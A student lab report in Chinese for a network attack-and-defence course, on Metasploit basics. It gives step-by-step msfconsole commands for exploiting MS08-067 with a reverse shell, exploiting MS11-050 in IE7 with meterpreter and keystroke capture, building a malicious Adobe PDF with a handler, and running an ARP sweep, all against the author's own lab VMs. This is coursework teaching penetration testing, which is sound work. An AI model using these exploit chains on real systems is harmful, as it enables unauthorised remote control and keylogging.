20145233《网络对抗》Exp5 MSF基础应用
20145233《网络对抗》Exp5 MSF基础应用
实验问题思考
什么是exploit,payload,encode
- exploit是发现了的可以利用的安全漏洞或者配置弱点,这类模块存储着收集到的可利用漏洞和弱点。
- payload就是在利用漏洞成功后要做的事情,本质上是一段shellcode,通常都是用来获取会话的。
- encode是编码器,一方面确保之前的payload也就是载荷不出现坏字符影响使用,另一方面尽量掩饰载荷,进行免杀处理。
实验内容
MSF的六种模块
-
Exploit模块
- 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 攻击模块
-
Payload模块
- 渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
-
Encoder模块
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
- 不改变payload的作用,但可以对payload进行加工
-
Aux模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
-
Post模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 主要指的是攻击之后可能用到的模块
-
Nops模块
- 对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90。
- 一些代码返回地址不好确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
实验过程
我的实验机的IP地址分配(使用的自己手机热点)
- 一号靶机:172.20.10.6
- 二号靶机:172.20.10.5
- kali主机:172.20.10.4
ms08_067渗透攻击
- 两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版,因为中文版的这个漏洞被补丁和谐了,很气,我第一次做到最后没办法完成,只好换了英文版)。
- 在VMware中设置两台虚拟机网络为桥接模式(还有一个问题,我的kali无法在手机热点中使用nat模式,使用nat无法ping通,我不知道为啥,希望老师解答一下),自动分配IP地址,之后两台虚拟机就可以直接ping通。
MS08_067远程漏洞攻击实践:Shell
-
在kali终端中开启msfconsole。
-
输入命令
search ms08_067
,会显示出找到的渗透模块 -
输入命令
use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块的使用。
-
输入命令
show payload
会显示出有效的攻击载荷,我们找到一个shell_reverse_tcp
来攻击
-
命令
show targets
会显示出可以被攻击的靶机的操作系统型号
-
使用命令
set payload generic/shell_reverse_tcp
设置攻击有效载荷 -
输入命令show options显示我们需要在攻击前需要设置的数据
set LHOST kali Ip
set RHOST Win xp Ip
-
在kali上执行ipconfig/all得到成功的实验结果:
-
被渗透的完成结果:
IE7浏览器渗透攻击——MS11050安全漏洞
-
在kali终端中开启msfconsole。
-
输入命令use windows/browser/ms11_050_mshtml_cobjectelement,进入该漏洞模块。
-
输入info查看信息
-
设置对应的载荷
set payload windows/meterpreter/reverse_tcp
-
show options查看需要设置的相关信息
-
设置相关信息地址以及接口(我使用的默认端口4444)
set LHOST kali Ip
set URIPATH XXX
-
kali中显示一个session 1已经创建
-
输入命令
sessions -i 1
开始连接 -
已经攻击成功了,开始按键抓取
Adobe阅读器渗透攻击
adobe_u3d_meshdecl
失败的office
- 在寻找office找不出漏洞后,寻找到了这个阅读器攻击,适应很广,很好用。
-
注意kali下要打开显示隐藏文件,不然找不到生成的文件
-
在kali终端中开启msfconsole。
-
输入命令use exploit/windows/fileformat/adobe_u3d_meshdecl,进入该漏洞模块的使用。
-
使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
-
输入命令show options显示我们需要在攻击前需要设置更改的数据
-
输入命令来更改
set FILENAME 5233.pdf
set LHOST KALI Ip
set LPORT xxxx
-
输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。
-
使用命令back退出当前模块,并使用
use exploit/multi/handler
新建一个监听模块。 -
使用
set payload windows/meterpreter/reverse_tcp
建立一个反向连接 -
攻击成功的截图
MSF的扫描
- 先手动创建一个msf所需的数据库
service postgresql start
msfdb start
-
这样的好处是搜索起漏洞很快,几乎不需要等待
-
开启msf
-
输入命令
use auxiliary/scanner/discovery/arp_sweep
进入模块 -
show options查看需要设置的消息,其中rhost填写自己电脑所在网段(172.20.10.0)
-
使用命令,设置这些关键指令
set interface eth0
set RHOSTS 172.20.10.0/21
set threads 2
- 命令
run
开启扫描,扫描结果如下:
实验总结
- 本次实验其实我觉得相比三四次实验来讲其实简单了许多,老师在课上也做了演示,实验的难点我觉得就是自己寻找和其他同学不一样的漏洞来完成实验,在第三部分关于PDF的攻击,我寻找到了一个完美适用的,但是在这之前我都做了几个有关office的漏洞攻击,不是生成的文件损坏,就是无法启动,要不就是没法构成回连,连续寻找了好几个漏洞都没有实现office所以我只好选择了PDF阅读器的另一个漏洞来完成。
- kali上的metasploit渗透测试工具,真的是一个功能强大内容丰富的工具,可以针对各种漏洞来进行攻击,每一种攻击又有多种载荷,并且通过这次学习还发现很多漏洞已经无法使用,都已经被补丁修复了,所以可以看出来软件公司的更新还是很有用的,我们还是不能忽视了系统的各种更新,一不小心的疏忽可能就导致了很严重的问题。